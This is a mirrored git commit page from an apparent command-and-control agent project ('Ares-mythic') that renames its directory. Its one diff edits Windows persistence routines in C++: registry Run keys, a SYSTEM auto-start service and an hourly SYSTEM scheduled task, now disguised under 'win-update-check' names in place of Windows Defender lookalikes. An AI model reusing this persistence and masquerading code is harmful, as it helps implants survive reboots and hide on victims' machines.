mirror of
https://github.com/Aryma-f4/Ares-mythic.git
synced 2026-09-08 22:01:10 +08:00
refactor: rename project directory from hummer to ares
This is a major rename of the project directory structure from "hummer" to "ares". All project files including source code, headers, resources, build files, and documentation have been moved to the new directory while maintaining their content. The change includes updating Visual Studio solution and project files to reflect the new directory name.
This commit is contained in:
1 parent
14397b72f4
commit
e14b1f21eb
18 files changed
+5
-5
No files matched your search
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
@@ -16,7 +16,7 @@ bool install_registry_persistence(const std::wstring& executablePath) {
|
||||
0, KEY_WRITE, &hKey);
|
||||
|
||||
if (status == ERROR_SUCCESS) {
|
||||
status = RegSetValueEx(hKey, L"WindowsDefenderUpdate", 0, REG_SZ,
|
||||
status = RegSetValueEx(hKey, L"win-update-check", 0, REG_SZ,
|
||||
(const BYTE*)executablePath.c_str(),
|
||||
(executablePath.length() + 1) * sizeof(wchar_t));
|
||||
RegCloseHandle(hKey);
|
||||
@@ -32,7 +32,7 @@ bool install_registry_persistence(const std::wstring& executablePath) {
|
||||
0, KEY_WRITE, &hKey);
|
||||
|
||||
if (status == ERROR_SUCCESS) {
|
||||
status = RegSetValueEx(hKey, L"WindowsDefenderService", 0, REG_SZ,
|
||||
status = RegSetValueEx(hKey, L"win-update-check-service", 0, REG_SZ,
|
||||
(const BYTE*)executablePath.c_str(),
|
||||
(executablePath.length() + 1) * sizeof(wchar_t));
|
||||
RegCloseHandle(hKey);
|
||||
@@ -50,8 +50,8 @@ bool install_service_persistence(const std::wstring& executablePath) {
|
||||
|
||||
SC_HANDLE hService = CreateService(
|
||||
hSCManager,
|
||||
L"WinDefendUpdate",
|
||||
L"Windows Defender Update Service",
|
||||
L"win-update-check",
|
||||
L"Windows Update Check Service",
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
@@ -72,7 +72,7 @@ bool install_service_persistence(const std::wstring& executablePath) {
|
||||
|
||||
// Scheduled task persistence
|
||||
bool install_scheduled_task(const std::wstring& executablePath) {
|
||||
std::wstring command = L"schtasks /create /tn \"WindowsDefenderMaintenance\" /tr \"" +
|
||||
std::wstring command = L"schtasks /create /tn \"win-update-check-task\" /tr \"" +
|
||||
executablePath + L"\" /sc hourly /ru SYSTEM";
|
||||
|
||||
int result = _wsystem(command.c_str());
|
||||
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Reference in new issue
Block a user